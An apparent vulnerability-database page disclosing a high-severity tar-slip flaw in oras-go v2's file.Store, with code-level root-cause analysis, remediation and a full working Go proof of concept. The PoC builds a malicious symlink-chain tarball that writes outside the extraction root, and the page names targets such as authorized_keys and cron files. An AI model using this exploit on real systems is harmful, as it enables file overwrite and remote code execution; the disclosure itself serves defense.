Loading...
Skip to main content

CVE-2026-85731 — Vulnerability in oras.land/oras-go/v2 — CVE Details

HIGH

oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

Published September 17, 2026Updated October 1, 2026Source: osv

Summary

### Summary The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive. ### Details **Affected versions:** `<= v2.6.1` **Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: "true"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer. **Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { // resolve link path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } // ensure path is under baseAbs or baseRel if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil } ``` `filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components. **Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`: ```go // No symbolic link allowed in the relative path dir := filepath.Dir(path) for dir != "." { if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil { ... } else if info.Mode()&os.ModeSymlink != 0 { return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target) } dir = filepath.Dir(dir) } ``` For an entry named `<title>/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked. **Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`: ```go file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) ``` No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target. **Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order: 1. `N` nested directories `<title>/d0/d1/…/d{N-1}`. 2. A symlink `<title>/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry. 3. A symlink `<title>/escape` → `"d0/…/d{N-1}/up/../../…/<absTarget>"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path. 4. A regular file `<title>/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`. **Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1. **Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations. ### PoC ``` go mod init poc go get oras.land/oras-go/v2@v2.6.1 go run . ``` ```go // Arbitrary file write outside a default-configured file.Store via // symlink-chain bypass in content/file.extractTarDirectory. // // ensureLinkPath() validates symlink targets purely lexically with // filepath.Join, which collapses ".." textually and does not follow // intermediate symlink components. By first planting a deep "up" symlink // that legitimately resolves to the extraction root, an "escape" symlink // can be crafted whose lexical target stays in-bounds but whose // kernel-resolved target is any absolute path. A follow-up TypeReg entry // with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW), // writing through the symlink. // // Realistic trigger: oras.Copy() from an untrusted registry into a // file.New() store. The attacker controls the manifest (sets // AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob. // All digests are honest, so content verification passes. package main import ( "archive/tar" "bytes" "compress/gzip" "context" _ "crypto/sha256" "fmt" "os" "path/filepath" "strings" "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" "oras.land/oras-go/v2/content/file" ) func main() { if err := run(); err != nil { fmt.Println("ERROR:", err) os.Exit(1) } } func run() error { ctx := context.Background() // Victim's working directory for the file store. workDir, err := os.MkdirTemp("", "oras-victim-*") if err != nil { return err } defer os.RemoveAll(workDir) fmt.Println("[*] file.Store working dir:", workDir) // Target path the attacker wants to write, OUTSIDE workDir. // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.; // a temp path keeps the demo self-contained.) outsidePath := filepath.Join(os.TempDir(), "oras-PWNED") _ = os.Remove(outsidePath) defer os.Remove(outsidePath) fmt.Println("[*] attacker target (outside workDir):", outsidePath) // The layer's AnnotationTitle. extractTarDirectory uses this as both the // in-tar prefix and the on-disk subdir under workDir. const title = "out" baseAbs := filepath.Join(workDir, title) // N nested dirs + a symlink "up" -> N*"../" so that after the kernel // follows "up" (landing at baseAbs) the remaining N lexical ".." // components climb from baseAbs to "/". N must be >= depth(baseAbs). depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/")) fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth) gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath) if err != nil { return err } // Descriptor exactly as it would appear in a manifest's "layers" array. desc := ocispec.Descriptor{ MediaType: "application/vnd.oci.image.layer.v1.tar+gzip", Digest: dgst, Size: size, Annotations: map[string]string{ ocispec.AnnotationTitle: title, file.AnnotationUnpack: "true", }, } // Victim creates a file store with default settings (path traversal DISALLOWED). store, err := file.New(workDir) if err != nil { return err } defer store.Close() fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite) // This is exactly what oras.Copy() invokes per layer. if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil { return fmt.Errorf("Push: %w", err) } // Check whether the out-of-tree file was written. if data, err := os.ReadFile(outsidePath); err == nil { rel, _ := filepath.Rel(workDir, outsidePath) fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath) fmt.Printf("[!] relative to workDir: %s\n", rel) fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir") return nil } fmt.Println("\n[-] no escape (file not created at", outsidePath, ")") return nil } // buildMaliciousLayer builds a tar.gz that, when extracted by // content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath. func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) { var buf bytes.Buffer gzw := gzip.NewWriter(&buf) tw := tar.NewWriter(gzw) // 1. Nested directories: title/d0/d1/.../d{depth-1} dirs := make([]string, depth) for i := 0; i < depth; i++ { dirs[i] = fmt.Sprintf("d%d", i) } for i := 1; i <= depth; i++ { name := title + "/" + strings.Join(dirs[:i], "/") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil { return nil, "", 0, err } } // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../". // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath. upName := title + "/" + strings.Join(dirs, "/") + "/up" upTarget := strings.Repeat("../", depth-1) + ".." if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 3. "escape" symlink at title/escape. // Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath> // LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving // d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it. // KERNEL: d0/.../up follows the symlink to baseAbs, then N*".." // climbs to "/", then appends outsidePath. dots := strings.Repeat("../", depth-1) + ".." escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 4. Regular file entry at title/escape - same path as the symlink. // resolveRelToBase("escape") has dir=="." so the per-component Lstat // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no // O_NOFOLLOW) and writes through the symlink to outsidePath. payload := []byte("PWNED-BY-ORAS-TARSLIP") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil { return nil, "", 0, err } if _, err := tw.Write(payload); err != nil { return nil, "", 0, err } if err := tw.Close(); err != nil { return nil, "", 0, err } if err := gzw.Close(); err != nil { return nil, "", 0, err } data := buf.Bytes() return data, digest.FromBytes(data), int64(len(data)), nil } ``` Expected output (paths vary): ``` [*] file.Store working dir: /tmp/oras-victim-209731351 [*] attacker target (outside workDir): /tmp/oras-PWNED [*] baseAbs depth = 3, building 3 nested dirs [*] store.AllowPathTraversalOnWrite = false [!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED [!] relative to workDir: ../oras-PWNED [!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir ``` ### Impact **Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk. **What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host. **Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).

Advisory Timeline

  • First published September 17, 2026 (25 days ago).
  • Last revised October 1, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update oras.land/oras-go/v2 to 2.6.2 or later
go get oras.land/oras-go/v2@v2.6.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
oras.land/oras-go/v2
go
All versions2.6.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-85731?
oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir) This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-85731?
CVE-2026-85731 affects oras.land/oras-go/v2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-85731 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-m37j-52j7-pjw7
GO-2026-6499

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies